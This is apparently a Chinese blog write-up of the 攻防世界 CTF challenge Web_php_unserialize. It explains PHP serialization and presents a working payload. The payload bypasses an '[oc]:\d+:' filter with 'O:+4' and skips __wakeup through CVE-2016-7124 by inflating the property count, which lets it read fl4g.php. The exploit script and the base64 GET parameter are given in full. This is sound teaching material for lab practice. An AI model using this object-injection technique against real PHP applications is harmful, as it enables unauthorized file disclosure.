攻防世界 web Web_php_unserialize

攻防世界 web 高手区 Web_php_unserialize

资源&工具

PHP 手册
W3School的PHP 参考手册

write up

源码

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

由于不懂php,所以按照其他语言经验&php手册猜代码含义,如有错误,请师傅们评论区指正

明确目标

先看到注释//the secret is in the fl4g.php,猜测1:flag在fl4g.php,所以当前目标1:访问fl4g.php
重新看代码
首先是个类Demo,里面有三个函数

__construct():当对象创建(new)时会自动调用。将传入的 $file 赋值给本地的私有方法 $file
unserialize() 时是不会自动调用的。(构造函数)
__destruct():当对象被销毁时会自动调用。(析构函数)
__wakeup()unserialize() 时会自动调用

unserialize()&__wakeup()参考
序列化

class User {
	public $name;
	private $male;
	protected $money = 1000;

	public function __construct($data, $male) {
		$this->data = $data;
		$this->male = $male;
	}
}
$number = 66;
$str = 'jerry';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$user = new User('tom', true);

var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($user));

运行结果

string(5) "i:66;"
string(12) "s:5:"jerry";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(93) "O:4:"User":4:{s:4:"name";N;s:10:"Usermale";b:1;s:8:"*money";i:1000;s:4:"data";s:3:"tom";}"

需要用 GET方法 传入 var ,不然的话就高亮 index.php 文件源码

if (isset($_GET['var'])) { 
    
} else { 
    // 高亮 index.php 的源码,效果如题目前状态
    highlight_file("index.php"); 
}

接着对传入的 var 变量进行 base64 解码

$var = base64_decode($_GET['var']);

解码后进行 正则匹配 ,匹配到的话直接结束(die)并显示 stop hacking!否则就是之前的unserialize()

if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    }

难点

上面分析过了,所以主要需要解决两个问题

  1. preg_match(’/[oc]:\d+:/i’, $var)的绕过
  2. unserialize时__wakeup的绕过
    首先直接尝试序列化
```php
<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$file = 'fl4g.php';
$demo = new Demo($file);
$s = serialize($demo);
print_r($s);
echo("<br>");
print_r(base64_encode($s));
?>

明显失败
先解决问题1:preg_match(’/[oc]:\d+:/i’, $var)的绕过
大佬博客看来的正则表达式匹配网站确认被匹配的字符
在这里插入图片描述

这段preg_match()匹配的为 o或c : 任意长度数字(至少一个) /i表示匹配时不区分大小写
这里利用php的特性 +4实际等于4

再解决问题2:unserialize时__wakeup的绕过
__wakeup()魔术方法绕过,利用的是CVE-2016-7124
在之前的结果里,O:4:“Demo”:1:{s:10:“Demofile”;s:8:“fl4g.php”;} 中的 :1: 是代表这个对象中有一个属性
__wakeup 漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup 的执行。
最后的序列化结果

O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

base64一下,然而这样就错了,Demo 类的 file 属性是私有属性序列化之后,在类名前后会有 %00 阻断,所以就得在 php 中就把替换和base64编码弄好
最终payload

<?php

class Demo
{
    private $file = 'index.php';
    public function __construct($file)
    {
        $this->file = $file;
    }
    function __destruct()
    {
        echo @highlight_file($this->file, true);
    }
    function __wakeup()
    {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}

$file = 'fl4g.php';
$d = new Demo($file);
$s = serialize($d);
// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$s = str_replace(':1:', ':2:', $s);
$s = str_replace('O:4', 'O:+4', $s);
print_r($s);
print_r("<br>");
print_r(base64_encode($s));

因为是get方法,所以浏览器输入就行

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述

reference

参考了几位大佬的博客
https://www.cnblogs.com/Jleixin/p/12988831.html
https://moreant.github.io/post/60542.html

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值